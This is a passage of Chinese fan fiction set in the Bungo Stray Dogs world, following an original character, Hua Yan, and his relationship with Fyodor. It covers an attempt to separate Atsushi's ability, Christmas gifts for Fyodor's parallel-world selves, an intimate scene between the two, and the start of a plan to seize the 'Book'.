花言沉吟片刻,选择直截了当地出击,“是太宰治让你离我远点吗?” 中岛敦没想到对方居然这麽敏锐,他脑海中浮现出之前对方帮助自己的事,又浮现出自己的承诺,在良心的谴责下,他有点手足无措。 “呃……不、不是……就是……那个,呃……” 中岛敦支支吾吾了半晌,最后挫败地低下头,说出了实情,“……太宰先生,只是让我警惕一些。” 警惕的对了,但没用。 花言似难过地叹了口气,“是吗?你之前还遇到解决不了的情况找我呢,还说以后会帮我,现在就开始警惕我了……我燃烧的五年寿命终究是错付了……” 中岛敦思绪瞬间被愧疚的洪流冲走,他当即坐了下来,“没有,花言先生,我相信你的!” 他没从对方身上感受到任何恶意,太宰先生跟他说要警惕一些,却只在他追问时反问他——有没有觉得对方跟“魔人”费奥多尔走的太近。 中岛敦回忆起自己见到对方的几次情况,发现自己大部分时候都能从对方身边看见“魔人”费奥多尔的身影,这确实太近了。 中岛敦不动声色地打量着对面的白发青年,后者一如既往地披着雪白的斗篷,只不过比起之前,最近的斗篷加绒了,可能是因为冬季的来临。 他无法透过对方墨镜窥见更多的神色,只能小心翼翼地询问:“那个,花言先生,你为什麽跟费奥多尔走那麽近?” 果然是因为这个。 花言放下茶杯看向窗外,用一副阅尽千帆的沧桑口吻说道:“原来如此,你们是因为这一点才怀疑我的啊……如果你想知道的话,告诉你也没关系。” 他回过头,嗓音压低,“其实这都是我的计策。” 中岛敦:?! “什麽?!”反应过来自己叫的太大声,中岛敦又匆匆压低了声音,“为什麽?” “你不觉得他很危险吗?放在身边比放在暗处要保险许多,如果放任他在暗处,那还不知道会出现什麽事呢。”花言继续压低嗓音,神秘氛围拉满,“所以我精心筹划了一场局来接近他,现在一切进行的都十分顺利,他对我不设防,我已经成功得知了他接下来的计划。” 中岛敦面色逐渐严肃,“是什麽?” “是“书”。”花言说出了所有人都知道信息。 但他没想到对方听见这个回答反而露出了果然如此的表情。 “我就知道!”中岛敦捏紧了拳头。 花言:? 你就知道什麽? 中岛敦意识到花言疑惑的反应,他跟对方解释道:“之前我不小心听见了社长他们的会议内容,是有关“书”的。” 花言:?? 花言骤然沉默,好半天才艰难地问道:““书”……怎麽了?” “还不知道。”中岛敦摇了摇头,他眉头紧皱,“我只听见了似乎是因为什麽问题,要检查“书”状态之类的只言片语。” 花言更沉默了。 他好像一不小心又给费奥多尔挖坑了。 不过往好处想想,所有人都知道对方想要“书”,而且现在对方不用再费劲地弄什麽“书签”和“书页”了,既然要检查,那肯定有机可乘。 只是……为什麽会突然要检查“书”的状态呢?是他之前融合世界、让异能短暂被取代的事情引起了横滨所有人的警惕? 如果他没记错,现在对“书”了解十分透彻的只有夏目漱石,这是对方的意思吗? “中岛敦。”花言双手搭在对方肩头,语气认真,“我需要你的帮助。” 中岛敦也意识到了什麽不同寻常的气息,他表情变得凝重,“请说,花言先生,我一定会尽力帮助你的!” “事情是这样,我想先弄清楚你身上跟“书”之间的联系,以防到时候会出现什麽变故。”花言用并不存在的真诚眼神望着对方,“你愿意协助我吗?” 严严实实的墨镜遮住了对方的眼眸,中岛敦只能通过对方的语气,听出对方像是做出了什麽艰难抉择的觉悟。 中岛敦也很好奇他身上跟“书”之间的联系究竟是什麽,听见这句话他毫不犹豫地点头。 “没问题!” 见对方同意,花言当即起身——打包甜点,打包完提着甜点找了一处监控死角的小巷,又抬手召唤了“与谢野晶子”用于以防万一,才转头对身后乖乖跟着的中岛敦说明情况。 “我一会儿可能会尝试分离你的异能,如果你感到不适可以跟我说,我会停止分离。” 中岛敦还在悄悄观察跟他印象中无二的“与谢野晶子”,听见这句话有种不好的预感,他声音有些颤抖,“那……与谢野医生是来做什麽的……?” 花言温声安抚,“是为了以防你会没办法开口说不适而出现什麽生命危险,嗯……总之是来保护你安全的。” “与谢野晶子”配合地点头保证,“安心吧,敦。” 中岛敦完全安心不下来,他更加惊恐了,这种仗势不是说明可能会很危险吗?! 然而现在后悔也来不及了。 若有若无的白雾逐渐蔓延,虚虚笼罩着这一处小巷,由轻薄到厚重。 花言复刻出当初涩泽龙彦分离中岛敦异能所用的能量,手中绽放出一缕缕红光轻轻摁在对方心口处。 中岛敦看见这近乎与当初相同的场面简直头皮发麻,他努力压下想要反抗的本能,在理智的拉扯间,他忽然产生了一种自己好像上当受骗了的迷茫感。 短短瞬息,如同有什麽被抽离的感觉在四肢百骸蔓延,中岛敦眼睛紧闭,下意识抓住了青年的手腕,像是濒死的受害者在抓罪魁祸首。 “花言先生……” 花言耐心地安抚,“嗯,已经好了。” 中岛敦:? 这麽快? 中岛敦尝试着睁开眼睛,率先映入眼帘的是在白皙手掌中悬浮着缓缓转动的银白色菱形结晶体,再往上移则是白发青年脸上的困惑神色。 这种反应让中岛敦有些惴惴不安,“是出什麽问题了吗?” 确实出问题了。 花言本来以为自己分离异能后,会出现什麽异能结晶体变成“书签”、或是变成路标指明“书”所在方向的情况,再不济也会给点什麽特殊反应,但事实却是根本毫无动静,跟异色的普通结晶体别无二致。 难道是他没掌握使用的正确方法? 极度困惑之下,花言向中岛敦问道:“你有什麽特殊感觉吗?” “没有……?”中岛敦试探性地回答。 花言这下是真的不知道该做些什麽了,总该不会是因为结晶体的状态封住了异能,导致感应也中断了吧? 他沉思着溶解了异能表面的结晶体,重获自由的异能像是受到了白雾的干扰,在两人之间盘旋了近一分钟才找到自己所属的主人,重新回归中岛敦身体中。 忙活了半天的花师傅忙活了半天。 花言沉默地盯着中岛敦,中岛敦也不知所措地看着花言,两人相顾无言。 只余属于冬季的冷冽寒风刮过巷子发出的呜呜声响。 第124章 虽然没达到预想的效果,但花言依旧拿出了身为成年人的成熟沉稳。 他风轻云淡地分出了一袋圣诞节限定甜点给中岛敦当作补偿——被他忽悠的补偿,又趁机搓了几下对方的白发当作安慰,才放对方离开。 中岛敦完全没意识到花言送的圣诞节限定甜点早已在暗中标注好价格,单纯以为是对方好心,挥手离去时甚至还说着,下次有需要帮忙的地方可以再喊他。 花言对此不置可否,他知道这句承诺注定实现不了,等中岛敦回去将他做的事跟太宰治一说,以后者的头脑肯定能明白他想做什麽。 不过他也并不是什麽都没能得到。 最起码他得知了“书”好像不是这麽找的。 花言努力安慰了自己,折返回刚刚那家甜品店买了几分圣诞节限定甜点,顺带又在商业街逛了一圈,最终提着大包小包回了据点。 重力操纵的异能在这种时候格外好用,花言一边控制买的东西浮在半空中,一边空出手推开了门。 伴随着一声略有些腐朽的“嘎吱”声响,数道相同面容但不同穿着打扮的身影映入眼帘。 他们像是已经沟通完了彼此想要了解的事情,随意打发着时间等他回来一样,有的坐在沙发上翻阅着书籍,有的像是在续杯,端着红茶正从厨房中走出。 听见开门声,他们不约而同地朝声源望来。 之前花言光想着正事,没来得及欣赏,现在换一种角度来看,他后知后觉感受到这一幕还是相当有冲击力的。 平时一个费奥多尔就已经足够赏心悦目了,现在这麽多费奥多尔一同出现,穿着风格各异的服饰,像是从各个方面将吸引人的地方同时展示了出来。 穿着令花言念念不忘的“骸塞”中白色晚礼服的“费奥多尔”注意到对方似走神般短暂的停顿,他眼眸微弯,“您回来了。” “嗯。”花言随手抹消了眼前的墨镜,又解下肩头的斗篷搭在门口的衣帽架上,“你们已经结束了吗?” “差不多?他想要得知的——我们能提供的都提供了,剩余的不需要我们插手。” 身穿白色繁复中华服饰的“费奥多尔”靠坐在沙发扶手上,他眉眼间浮着一层温和的笑意。 “所以也是时候回去了。” “这麽快?”花言缓缓眨了眨眼睛,“不准备吃个饭再走吗?” “唔……关于这个问题……” 他们其实也想,但他们同样很了解“自己”,了解“自己”在某些方面不容他人染指的独占欲与掌控欲,这些阴暗的情绪被情感催化,近乎要到偏执的地步,哪怕是平行世界的“自己”也不行。 不过如果换做他们也会出现这些想法,所以他们也并不是不能理解这个世界的自己。 “会很不方便的吧?”身为学生的“费奥多尔”恰好开口,“我们人有点多,无论是出去吃,还是在这里都很麻烦,而且……我们各自都还有事情要做。” 这样就没办法了。 花言表示理解地点头,他从纸袋里掏出了一包甜品,塞到身为学生的“费奥多尔”手中,后者下意识低头看去。 惊讶地发现被塞进手里的是一个用透明塑料袋包装的姜饼人,精致可爱,如学院中春季樱花般的粉色缎带系在包装上,打了一个漂亮的蝴蝶结。 “圣诞快乐。” 花言说完又觉得有点太早了,今天好像才平安夜,于是他又复制出了一个苹果放进对方手中,补充道。 “平安夜快乐。” 学生版“费奥多尔”哑然。 半晌,他唇边勾起弧度,“嗯,圣诞节、平安夜快乐。花言,我期待着您下次来我所在的世界,希望到时候我们能在学院中见面。” “我也是。” 花言应了一声,将对方送了回去,星星点点的光芒消散,他抬起眼眸,发现房间里的“费奥多尔”都正盯着他。 花言沉思了一秒,从纸袋里又掏出了一袋姜饼人,又顺带复制出了一个苹果,塞给离他最近的中华风“费奥多尔”,再次说出了同样的祝福。 后者原本有些欲言又止,但在低头注意到手中姜饼人包装上如他印象色般的金白色调缎带,又将想说的话咽了回去,纵容地笑着点头,说出了同样想让花言去他所处的世界找他的话语。 花言对此同样应答。 他力求让每个人都不白来,哪怕他不太明白为什麽每个人都会在被送离时,对他说出想要让他去对方所处世界的话。 花言有些感受到系统当初所说的性格差异了,虽然十分细微,细微到像是心情影响的一样,但还是带给了他不一样的感受。 学院的“费奥多尔”给他的感觉是偏青春的,中华风的“费奥多尔”似乎要稍微温雅一些,穿着黑色西装晚礼服的“费奥多尔”偏蛊惑一些,万圣节装扮披着漆黑斗篷的“费奥多尔”偏神秘那一面,新春繁复衣饰的“费奥多尔”偏优雅,和服赏枫的“费奥多尔”偏温和,白绒黑斗篷常服的“费奥多尔”偏理智…… 在“骸塞”中白色晚礼服的“费奥多尔”给他的感受要偏危险深邃一些…… 花言没忍住又看了一眼眼前的“费奥多尔”,后者能够看出对方眼眸中的欣赏,故意微微低头靠近。 “花言……既然您都答应去找他们,也答应来找我吧?” 被引诱了一下的花言当即点头,“好……” 同样得到承诺的白色晚礼服版“费奥多尔”心满意足地离开。 至此客厅里只剩下给花言感受跟最初他接触的费奥多尔无二的、也是给他提供了横滨据点位置的“费奥多尔”,后者朝花言摊开双手,眼眸中充斥着笑意。 “终于轮到我了吗?” “嗯。” 花言行云流水地从纸袋里掏出了一袋系着紫罗兰色蝴蝶结的姜饼人,又复制出了一个苹果,给了对方相同的圣诞节礼物套餐。 不同于之前几人语焉不详的邀请,“费奥多尔”将话说的更明白了一些。 “虽然不知道这个世界最后的结果会是什麽样,但如果迎来了我们都期望的结局……”他苍白俊美的脸庞上绽开笑容,意有所指地说道:“我也希望你们能来我所在的世界呢。” 花言逐渐意识到不对劲,“‘我们’?” “嗯,您和他。” “费奥多尔”说出了其他人都默认的隐性信息。 他们都清楚如果最后迎来了最好结局,以“自己”的占有欲不会让花言独自一人去见平行世界的“自己”。 “费奥多尔”注意到花言像是才反应过来的神色,似好心般跟对方展露了他们一同布置的陷阱,“学生的‘我’,向我们说明了——哪怕有一模一样的‘我’,您也不会把我们当作同一个人,我们都很想验证这一点,而在这个世界您与我们之间都有所感应,无法精确得出结果,所以只能……” 花言瞳孔地震! 他就说为什麽会有不好的预感! 果然还是被他们发现自己当时认错人的事了,明明已经及时逃离了,没想到还是没躲过,甚至还在这里等着他。 花言有点想收回那句承诺,“我……” “费奥多尔”看出花言想要反悔的意图,他态度温和又不容拒绝地询问:“您都答应他们了,也会答应我的,对吗?” 花言很想摇头,但是这样有点太区别对待了,像是自己在孤立对方一样,于是他只能咬牙忍痛点头。 “嗯……” 没关系,大不了他到时候拖延一下,反正也没说具体什麽时候…… 这个想法冒出还没一秒,只听“费奥多尔”像是能够读心一样,进一步问道。 “什麽时候?春天的时候您会来吗?” “大概会吧……” 花言止住了想法,欲盖弥彰地移开目光。 “费奥多尔”选择性忽略了对方回避的心虚反应,仅用十分期待的口吻告别。 “那麽……我会等你们的。” 话音落下,最后一名来自平行世界的费奥多尔也被送了回去。 花言有些疲倦地靠坐在沙发扶手上,想换个姿势躺下时,余光注意到了一道站在房间门口不知道看了多久的熟悉身影。 他瞬间坐起,掏出袋子里准备的最后一份姜饼人递给对方,“费佳,圣诞节快乐。” 安静看完全过程的费奥多尔眼眸微垂,视线落在对方塞进他手里的姜饼人中,包装上的缎带不同于其他来源于自身的印象颜色,他手中的是对方眼眸的绚丽色彩,明亮又璀璨。 似无声的安慰,也似有更深层的隐晦暗示。 费奥多尔拿对方无可奈何地轻轻叹了口气,“您真是公平呢。” “其实也没有。” 花言说着用指尖拨了一下费奥多尔手中的姜饼人,原本看起来只有一个的姜饼人在此刻变成了两个,他在这方面还是知道区分的。 “我特意让店员这麽装的哦。” ——只有他有两个,也只有他拥有他。 费奥多尔读出了花言这句含蓄的话语背后,因不好意思而没有直白说出口的意思。 他其实从决定让对方将其他平行世界的“自己”带到这个世界时,就已经预料到了各种会发生的状况,但哪怕预料到了、做好了准备,也不可避免地会因情感带来的欲望而冒出些偏执又阴暗的想法与不悦的情绪。 这是人类潜藏在灵魂深处的本能,他亦是如此。 费奥多尔叹息着抚摸上对方脸庞,看着后者因他不断上移的指尖而本能眯起一只眼睛,“可是……现在还没到圣诞节,花言……” 花言懂对方的意思,他保证给对方不一样的待遇,以证对方在他这里是特殊的。 花言复制出了足足一盘苹果递给对方,“平安夜快乐,费佳。” 这麽好的平安果,别人都只有一个,而对方有足足一盘! 第125章 费奥多尔没有立即回答,他视线落在那盘红艳果实中的银质水果刀上,又似确认般缓缓下移,看向用于呈放苹果的果盘。 对方拿出来的这盘苹果像极了当初“骸塞”里放在桌子上——同样也是他在最初见到花言时,被后者坠落的动静踹飞的那盘。 说起来…… 花言视线在身穿“骸塞”白色晚礼服的“他”身上所停留的时间,要比在其他人身上久上一些,而对方使用“Vita 他不否认涩泽龙彦在设计服饰方面的天赋,但是为什麽对方会在那麽多穿着各异的“他”中,唯独对这一身念念不忘呢? 是因为这是他们初遇的一幕?还是有更加深层的原因在里面? “花言。”费奥多尔忽然开口,“您真的很喜欢“骸塞”里的‘我’呢。” 这个话题让花言有些猝不及防,也让他一时之间不确定对方会突然提及这方面的缘由。 总之先夸一下应该没错。 “我只是喜欢你穿那一套的时候,很好看。” 而花言也确实没有说谎,真的很好看,都把他给好看“死”了——指猝死前想的还是这套。 “原来如此……”费奥多尔似已经明白了一样微微点头,很快又话音一转,“那……我其他跟您产生过交集的同位体,也是因为您觉得很好看才会选择与他们创建联系吗?” 他唇边弧度不变,温和地提醒,“他们之中大部分的穿着都各不相同,而您在不同者身上停留的视线,也要比在相同穿着的‘我’身上停留的视线要久一些。” 花言:…… 这观察的是不是有点太仔细了? 好吧,他承认,他当初确实是看脸下卡池的。 但是这个时候说出来会不会显得他像是肤浅的颜控? “爱美之心人皆有之嘛……” 花言目光游移,没看对方,并试图转移话题,“费佳,我在去的甜品店里遇见了中岛敦,他好像说“书”出了什麽问题,要检查“书”的状态,是你做什麽了吗?” 费奥多尔看得出对方想要转移话题的意图,不过他仍旧回答了对方,“嗯……他们大概率是因为之前世界融合的事情担忧“书”的状态,而让您这麽做的是我,所以应该算是我的原因。” 费奥多尔的语气十分平静,像是早已预料到了这种情况。 而这个回答也跟花言听见这句话时脑海中冒出的猜测相同,他又回想起在中岛敦身上什麽都没能得到的事实。 好奇心驱使着他再次询问:“我尝试着分离了中岛敦的异能,但是什麽都没发生,是我的方式不对?” 费奥多尔微愣,“您分离了中岛敦异能?” “嗯,借用了一下涩泽龙彦的能力。” 花言详细地跟对方描述了当时的情况,说到最后,他甚至开始往其他苛刻的先决条件上想。 比如说想要解除“书”的封印会不会是跟获取圣杯或者贤者之石类似的条件,夏目漱石为了保证不让人滥用“书”,所以将封印定成需要他在横滨被挑选出的异能者全部死亡,才能解除封印,继而让最后的希望——主角中岛敦通过异能“白虎”找到“书”改写一切之类的。 这个套路好像还挺符合热血少年频道的,就是有点费人。 “分离出来的异能重获自由后,在您与他之间盘旋了近一分钟才回归中岛敦身上……?”费奥多尔复述了一遍让他在意的地方,很快他眼眸中浮现出了然,“这应该是因为您身上有“书”的气息,干扰了它的判断。” 毕竟对方此刻的身体是由类似于“书”本质的力量构成的,会对“书签”造成干扰很正常。 花言明白了,原来因为是被分解进他异能的“书页”。 这样看来“白虎”的嗅觉还挺灵敏,他没复制出实体都能闻到,就是怎麽听起来有点不太灵活的样子?只会搜索最近的目标。 不过换个角度想想,这是不是证明他复制出来的“书页”其实与正常“书页”一样? 花言思绪微微偏移了片刻,又重归正题,既然对方对于这种发展早有预料,那…… “费佳,你见其他平行世界的自己,难道是因为想要集思广益制定出一个能够万无一失抢到“书”的计划吗?” 顺便给其他相同世界观的“自己”提供些思路什麽的? “不,在这方面我并不需要他们的帮助。” 费奥多尔谦和背后的傲慢在此刻展露出一角,他指尖缠绕着对方垂落在脸侧的碎发,意有所指地告诉了对方真相,“我只是想通过他们更多的了解您,考虑到您的性格听到这些可能会……不好意思?所以才给予了您的回避选项。” “可惜的是他们对您了解的好像也并不多。” 这是令费奥多尔感到遗憾又愉悦的结果,遗憾是因为他没办法通过了解到花言更多的信息,从而制定出一个通往两全结局的稳妥计划,愉悦则是因为比起其他平行世界的“他”,他确实要更为了解花言一些。 “只得知了您经常给他们送一些食物以及书籍之类的东西,每次出现都会先找他们,向他们告知您心血来潮更改的名字,偏爱带他们参加战斗——哪怕大部分情况都会输……” 费奥多尔一一清点着花言所做的事情,让后者愈发羞耻。 “既然你都知道我会不好意思了,就别说出来了啊……费佳……” 花言低头想在地上找个缝钻进去,又迫于对方抵在他脸侧的手,以及不知何时环住他后腰用于拉进彼此距离的手,而被迫中止。 费奥多尔无辜地眨了眨眼睛,“是您问的。” “我没想问这麽详细……”花言知道对方是故意的,却也没有计较,仅无力地说道:“你想了解我,其实可以直接问我。” “这样啊……” 费奥多尔没有给对方太多的反应时间,对方对于自身确实是不了解,但他也有对方能够回答的问题。 “花言,您更喜欢穿着那套涩泽龙彦设计服饰的‘我’,还是穿着常服的我?” 花言:…… 不知怎麽,他感觉这个地方好像有文本陷阱。 如果他回答喜欢对方穿白色晚礼服,那万一对方是在指平行世界的费奥多尔呢?如果他回答穿着常服,那岂不是等同于在否定他前面的那一句? 花言认真思考了半晌,说出了高情商回答,“我喜欢你穿着那套白色晚礼服时的样子,当然平时的你,我也很喜欢。” 费奥多尔很喜欢对方会偶尔袒露出的直白话语,哪怕很多时候都需要他去主动将对方逼入一个不得不坦率的境地才能得到。 他轻轻笑了一声,“我知道了,花言。” 花言没从费奥多尔身上感受到不悦或是阴郁,甚至恰恰相反,对方很开心,但对方在说完这句话却松开了他,兀自进了卧室。 花言站在原地,脑海中的思绪在吃晚餐与一探究竟中犹豫了半晌,最终还是抬起脚步走了过去。 卧室的门没有合拢,也没有露出明显的缝隙,他只能小心地推开一点点试图观察对方到底在做什麽。 “花言。” 房间里的人一如既往的敏锐,对他也依旧温和纵容。 “您可以直接进来。” “好……” 花言迟疑地应了一声,顺应对方的话语推门而入。 耳边传来布料摩擦所发出的轻响,他抬起眼眸发现对方更换了一套衣物,大片纯白的色彩映入眼帘,“费佳……?” “嗯。” 费奥多尔慢条斯理地戴上这套白色晚礼服中最后的黑色手套,完全重现了“骸塞”中的一幕。 他走近站在门口的白发青年,后者仿佛是被什麽冲击到了一般,有一瞬间的失神,随后思绪似乎重新运转,浮现出惊艳之后的真实情绪。 “您真的很喜欢我这样穿呢,花言。” 费奥多尔从对方眼眸里捕捉到了喜爱与新奇,那是与在看平行世界的那个他时不同的反应,如同因为不用顾及什麽而毫不遮掩了一样。 指腹隔着手套与那层衣物重新贴在对方身后,借此让对方因本能受到细微刺激想要躲避的反应而主动靠近他。 费奥多尔低下头,似呢喃般在对方耳边询问:“我穿这套会带给你不同的感受吗?” “因为……真的很好看。” 那些过于直白的夸赞话语花言有些说不出口,温热的气息拂过耳畔,带来若有若无的痒意,他小幅度地偏了偏头,想要躲过这份似蛊惑般的引诱。 “看起来您除了年龄之外,或许还要加上一条——也喜欢我的外表?” 费奥多尔一向擅长利用自身的每一个优势,也很清楚自身能够吸引他人的地方,他故意用唇擦过对方耳尖又逐渐下落到对方颈侧,用对方上次在温泉中相同的方式触碰着那片身为人体最为脆弱的致命处。 “不过,您具体喜欢在哪里呢?我的脸?我的手?还是其他地方?又亦或者是全部?” 费奥多尔靠得太近,本该带给人清醒的冷冽气息在此刻像是西伯利亚冻土上能够让人迷失方向的暴雪,哪怕如此,花言也势必不可能说出那些以前经常口嗨,但现在说出来会让他社死的夸赞。 但是什麽都不说也不做会显得他很不配合,毕竟对方都主动为他这麽穿了,他也得做点什麽回应一下。 花言一手抬起对方脸颊,一手勾住对方脖颈,吻上了淡色的唇。 试图用这种方式表示自己的回应,也希望费奥多尔别再追问了。 后者眼眸没有闭上,他视线一点点勾勒过对方蔓延上绯红的耳尖和脸颊,感受到了对方因性格上的内敛而显得青涩的犹豫触碰。 费奥多尔没有得到对方的回答也不在意,对方的身体会取代话语告诉他答案。 花言本来在斟酌着自己下一步该怎麽做,是该继续贴近对方,还是该短暂地分开。 然而没等他选择出一个合适的、不会让对方觉得自己冷淡,也不会显得自己太过分的动作,有什麽东西从他衣摆伸入,腰间感受到的冰冷凉意与陌生的触感率先打断了他的思绪。 花言通过腰际消失的触碰,反应过来那应该是费奥多尔的手,后者手上戴着手套,隔绝了对方本身的温度也隔绝了肌肤相贴时本该因情感而产生的安心与依恋。 那只手在伸入衣物后逐渐顺着他脊柱所在的弧在线移,似在观察什麽般不断摸索过每一个角落,原本冰冷的温度也在其中逐渐被他的体温浸染,但哪怕如此那种陌生的触感还是强硬地宣告着存在。 花言身体不断前倾想要躲开对方的触碰,但这样反而愈加靠近罪魁祸首,直到完全相贴退无可退。 费奥多尔像就是想达成这种结果,故意等他分心在那种触碰中反应过来无处可避想直接逃离时有所动作,将他的注意力又重新引回这场吻。 花言眼眸中绚丽的色彩仿佛开始融合般透着模糊不清的雾。 那只抵在脑后用于阻挡他退离的手也擦过颈侧来到了身前,冰冷的皮质触感一点点顺着领口下滑,冷空气骤然入侵。 “费佳……” 花言模糊的思绪喊着对方的名字,哪怕他也不知道自己想要说什麽。 “嗯,”费奥多尔的嗓音仍旧温和,其中似乎掩藏着若有若无的诱导,“花言……可以吗?” 对方嘴上是优雅又温和的询问,像是极其有礼貌知分寸地询问他的想法,但已经回到腰际摩挲着那块软肉的手,以及对方已经轻咬上他颈侧的动作,都根本没有任何想要停止的意思。 花言轻轻喘息着低头想要弯腰,又因为两人之间已经毫无间隙的距离而只能被迫将头搭在对方肩头,过于频繁的触碰与身体不断被他人探索的陌生感让他不断流失着力气,但显然对方也不需要他再坚持。 费奥多尔单手环住对方的腰将后者轻轻放在了背后的床上,暖色调的灯光自高处洒落,不同于温泉中的朦胧与无动于衷,洁白无瑕宛如上好艺术品的身体展露在眼前,每一个反应都清晰明确,无论是伴随着呼吸的细微颤抖,还是那双眼眸深处由逐渐浮现出的情感而催化出的情绪都一览无余。 雪白的长发如丝绸般散开在身下,花言视线模糊地看着对方苍白俊美的面容,将一切都尽数交付。 杂乱无章的呼吸声中时不时混杂着几声气音,费奥多尔在这方面似乎极有耐心,也满怀探索欲,近乎触碰过每个地方,直到最后他以更加清晰直观的方式感受到了对方的触碰。 这有点太超过了。 蔓延上神经末梢的感觉骤然炸开,花言本能地抗拒,又被对方按回,只能出声阻止。 “费佳……别戴着手套进去……” “唔……抱歉。” 费奥多尔的声音中透着些许似呼吸不稳的喘息,裹挟着笑意询问。 “是让您感到不舒服了吗?” 这种事情想也想到的…… 更别提他还是第一次经历这种事,那种粗糙感有点太超过了。 花言哪怕大脑已经乱成一团,也依旧能够听出其中故意的因素。 他应了一声当做回答,模糊的思绪暴露出了最真实的想法。 “我不想隔着手套接触你……” 费奥多尔紫罗兰色的眼眸微颤,抵达极致的情绪与兴奋让其中浸染出大片类似于葡萄酒发酵出的暗红,他低低笑了两声,亲吻了对方眼睑。 “那麽,如您所愿。” 身上的触碰短暂地消失,再次接触到的是已经变得温热的手。 花言忽然有些后悔了,他眉头紧紧蹙起,抽着冷气,“费佳……指甲……” 费奥多尔似才意识到这一点,也有些苦恼,“都已经到这里了,花言,您稍微忍耐一下,可以吗?” 花言好半晌才反应过来对方的意思,他有些难以置信,“你……” 后面的话被对方的动作被迫咽回,费奥多尔恶劣的一面在此刻暴露得相当彻底。 他似好心般提醒,“而且……这也是您自己所要求的。” 花言觉得这好像不是一回事,不过对方啃咬的坑坑洼洼的指尖也确实没让他受伤,除了会冷不丁在某个时候刮过给他一下猝不及防之外,其他似乎都还好? 费奥多尔在这方面好像极有耐心,也格外照顾他的体验,无论是准备的工作,还是真正进入正题,都没带给他太多的痛楚。 如果对方能不恶趣味地想看他露出更多从未表现出的反应、以及不在这种时候跟他提其他平行世界的费奥多尔就更好了。 事实证明一些问题哪怕糊弄过去了,对方也会在某些时候重新提起。 对方近乎偏执的占有欲在此刻一览无余。 花言被冲散模糊的混乱思绪难以思考对方一些有特殊意味的话语,身体因对方动作而绷紧,却又在对方的安抚声中不自觉放松,如此反复。 眼角溢出的生理泪水将灯光与所看见的一切都晕染成模糊不清的色块。 在抵达极限的恍惚中,他似乎在混杂在一起的声音中听见了一段极为熟悉的旋律,梦幻又情况。 窗外夜幕如墨,窗沿处摆放的透明塑料袋被彩色缎带打了漂亮的蝴蝶结,其中两个做工精致的姜饼人紧紧相依。 第126章 费奥多尔这几天似乎有些忙,虽然对方平时也没有无所事事的时候,但这次给花言的感觉不太一样,像是在铺垫什麽精密计划、在每一环上都吹毛求疵。 对方给他准备的一日三餐、下午茶以及夜宵依旧符合他的胃口,甚至有点精细丰富得过了头,显得像是在用这种方式转移他的注意力。 连昨天他好不容易等身体上的不适消退,想要出门“体验生活”时,对方也会恰时出现,用各种委婉话术与温和手段打消他出门的想法。 有点似曾相识…… 他依稀记得在学院里的时候对方也对他使用过相同的手段,不过当时没现在这麽……费尽心机? 那个时候对方没怎麽包装自己的真正意图,也掺杂了一点类似于威胁的因素——比如说出去遇见其他不怎麽熟悉的人会被找麻烦,举报触发规则了之类的。 当时对方应该是想瞒着他做些什麽,有了前车之鉴,再结合他从中岛敦那里得到的信息,能够让对方做出这种举动的因素呼之欲出。 ——是为了抢夺“书”。 可如果是为了抢夺“书”,那为什麽对方要阻止他出门呢?还用上了这麽多手段用于掩藏自己不想让他出门的想法。 总该不会是他找中岛敦分离异能的事,给对方造成了他很不靠谱的印象吧? 花言表情凝重起来了,他认认真真回忆了一下。 当时费奥多尔听他说这些话没露出什麽困扰的神色,反倒像是不在意——毕竟太宰治对他跟对方走这麽近的事情早有怀疑,所有人也都知道费奥多尔想要得到“书”,所以不会是因为这个。 花言表情又放松下来了,继续思考其他缘由。 那会是因为什麽? 难不成是对方担心自己出门遇见太宰治或者其他跟他关系好的人,一番畅聊后对要继续帮助对方这个决定产生了动摇,又或者是会出现什麽其他意外情况,所以想在得到“书”前尽量避免这种可能? 以费奥多尔的掌控欲,这种可能似乎很大…… 花言缓缓陷入了沉思,连带着嘴里的包子都暂停了咀嚼。 身后传来门被拉开所发出的细微摩擦声,属于费奥多尔的脚步声逐渐靠近,直到停在自己身后伸手挽起了他披散在肩头的长发。 “费佳。”花言慢吞吞地重新咀嚼完包子咽下,才接着说道:“你也稍微对你自己、也对我,有点信心吧。” 费奥多尔并不意外对方会察觉到他的意图——哪怕他精心掩饰。 这或许是花言太了解他这件事上唯一的坏处了,对方总能看穿他的想法,不过幸运的是对方就算看穿了,也依旧会似任他予取予求般配合。 费奥多尔手中为对方梳理好因刚起床未来得及打理而乱成一团的长发,散乱的白发聚拢,视线触及下方白皙颈处依旧散布着那夜他所留下的痕迹。 他好心情地开口,“我会记得的,花言。” 花言对此颇为怀疑,他似真似假地试探,“那我一会儿要出门了哦?” “现在吗?” 费奥多尔语气有些苦恼,“他们将在今天下午解除“书”的封印,而现在距离那个时间点也不过一个小时,花言,如果可以……我希望您能帮我。” 这个时间卡的有点太巧了。 花言幽幽转头看了对方一眼,后者在这种模棱两可到像是巧合的情况,经常会露出无辜的神色表示自己的无意,但这在他面前根本没用,他才不信这不是对方计算好的。 花言用视线谴责了一下对方,还是同意了。 “需要我做些什麽?” 费奥多尔唇边绽开笑容,拿出早已准备好的通信设备,细致地佩戴在对方耳廓上,“局面我已经都布置好了,您到时候只需要赶到特定的地点,其他的我会依据现场情况的变化,告诉您该做些什麽的。” 花言有些不适应地想要偏头躲过,但对方似早有预料般伸手抵在了他另一边颈侧,修长的手指顺着他脸部轮廓触碰到了耳垂。 耳边传来对方温和的安抚,“稍微忍耐一下,很快就好了。” 花言模糊不清地应了一声,“还有其他什麽吗?” “唔……可能需要您在靠近那个地点时多注意一下周围的埋伏?他们在周围部署了大量军警,横滨的异能组织应该都会在,不过……我会尽量为您减少压力。” 费奥多尔指尖轻轻擦过那一片已经被频繁触碰得浮现樱色的皮肤,低头在对方颈侧落下一吻。 “花言,麻烦您了。” …… 距离圣诞节已经过去了近四天,但圣诞节依旧在这座城市里残留着痕迹,路灯上缠绕的红绿色彩带,街头挂着彩球的冷杉,道路上的积雪已经被踩成了薄冰。 这一次的行动至关重要,无论是异能特务科、还是他们的上层,又亦或是港口mafia和武装侦探社,都对此严阵以待。 他们十分清楚“书”对于那些境外组织的吸引力,也知道“书”一旦解除封印,那麽为了“书”而像秃鹫一样盘旋在横滨上空挥之不去的境外之敌都会像看见了食物那样凶狠啄下。 但他们却不得不这麽做。 那位掩藏在横滨的最强异能者——夏目漱石,朝他们发来了通知,或者说是透着警告意味的提醒,提醒他们—— ——这个世界根源的“书”出问题了。 在这句提醒之后,夏目漱石那边没有再主动传来消息,像是在让他们自己权衡要怎麽做。 前不久像是世界融合般的记忆还历历在目,不同于那名白发青年之前带他们所去的平行世界,这一次是真真切切的改变了这个世界,哪怕只有短暂的一周,所造成的轰动也已经足够大了。 